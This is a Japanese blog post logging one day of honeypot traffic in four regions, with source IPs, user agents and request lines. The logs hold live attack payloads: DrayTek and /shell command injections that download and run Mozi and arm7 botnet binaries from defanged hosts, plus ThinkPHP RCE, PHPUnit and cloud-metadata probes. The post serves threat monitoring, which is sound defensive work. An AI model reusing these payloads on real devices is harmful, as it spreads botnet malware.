コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/04/13 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2020/04/13分です。

特徴
Location：JP

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
polaris botnetによるスキャン行為
XTCによるスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//124[.]115[.]32[.]10:50358/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：US

DrayTek製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
XTCによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
ZmEuによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。

Location：UK

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

Location：SG

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
XTC BOTNETによるスキャン行為
ZmEuによるスキャン行為
phpMyAdminへのスキャン行為
を確認しました。

他
アクセス数推移

JP：総アクセス数：50 (前日比：-45)
US：総アクセス数：48 (前日比：+26)
UK：総アクセス数：34 (前日比：-1)
SG：総アクセス数：12 (前日比：-8)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.39.173.31 Italy
1 12.192.193.66 United States
1 27.74.251.241 Vietnam
1 27.155.87.180 China
17 44.224.22.196 United States
17 44.225.84.206 United States
1 61.216.81.44 Taiwan
1 88.249.245.251 Turkey
3 107.152.37.180 United States
1 120.24.208.19 China
1 124.115.32.10 China
1 154.70.134.71 South Africa
1 162.243.129.196 United States
1 162.243.129.231 United States
1 179.52.65.152 Dominican Republic
1 217.164.169.114 United Arab Emirates

UserAgent一覧

件数 UserAgent
25 -
14 AWS Security Scanner
3 Go-http-client/1.1
1 Hello, world
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
2 Mozilla/5.0 zgrab/0.x
2 XTC
1 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
10 \x16\x03\x01
10 CONNECT 18[.]179[.]20[.]5:80 HTTP/1.0
1 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.action HTTP/1.1
4 GET /latest/dynamic/instance-identity/document HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//124[.]115[.]32[.]10:50358/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/ HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 POST /boaform/admin/formPing HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
3 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
6 5.101.0.209 Russia
1 18.209.8.116 United States
1 27.74.251.241 Vietnam
1 34.65.128.240 United States
6 35.223.108.174 United States
1 78.232.226.145 France
1 80.82.70.118 Netherlands
1 83.50.56.116 Spain
1 89.130.115.165 Spain
1 96.80.89.253 United States
1 104.137.199.106 United States
10 118.24.196.106 China
1 118.70.190.137 Vietnam
10 125.65.82.213 China
1 162.243.129.239 United States
1 162.243.130.125 United States
2 184.68.98.22 Canada
1 187.243.255.30 Mexico
1 203.202.249.234 Bangladesh

UserAgent一覧

件数 UserAgent
10 -
2 Go-http-client/1.1
1 Mozilla/5.0
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
18 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 zgrab/0.x
2 XTC
1 XTC BOTNET
6 ZmEu

リクエスト内容一覧

件数 Method Request Protocol
1 \x16\x03\x01\x01D\x01
1 \x16\x03\x02\x01o\x01
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /MyAdmin/scripts/setup.php HTTP/1.1
2 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
2 GET /elrekt.php HTTP/1.1
2 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
2 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 OPTIONS / HTTP/1.0
3 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
6 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
2 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.50.48.91 United Arab Emirates
1 24.217.116.164 United States
1 67.251.192.90 United States
1 103.103.88.242 Bangladesh
7 107.174.244.100 United States
1 113.243.48.222 China
10 139.155.75.244 China
3 151.70.232.236 Italy
1 162.243.130.196 United States
1 173.177.208.208 Canada
1 186.75.122.34 Panama
1 190.145.12.58 Colombia
1 190.152.144.202 Ecuador
1 192.241.239.104 United States
1 201.200.3.241 Costa Rica
2 207.238.80.75 United States

UserAgent一覧

件数 UserAgent
19 -
1 Go-http-client/1.1
1 Hello, World
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 zgrab/0.x
2 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
3 -
1 GET //MyAdmin/scripts/setup.php HTTP/1.1
1 GET //PhpMyAdmin/scripts/setup.php HTTP/1.1
1 GET //myadmin/scripts/setup.php HTTP/1.1
1 GET //phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET //phpmyadmin/scripts/setup.php HTTP/1.1
1 GET //pma/scripts/setup.php HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
1 GET /muieblackcat HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET http[:]//Qualys[.]null/ HTTP/1.0
1 HEAD /selfupdate/wuident.cab HTTP/1.0
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /boaform/admin/formPing HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
3 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
6 35.223.108.174 United States
1 46.2.240.152 Turkey
1 50.246.41.126 United States
1 71.54.163.11 United States
1 103.4.65.78 Bangladesh
1 173.246.65.22 Canada
1 177.85.2.33 Brazil

UserAgent一覧

件数 UserAgent
4 -
1 XTC BOTNET
6 ZmEu
1 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
1 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 POST /boaform/admin/formPing HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi HTTP/1.1
3 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1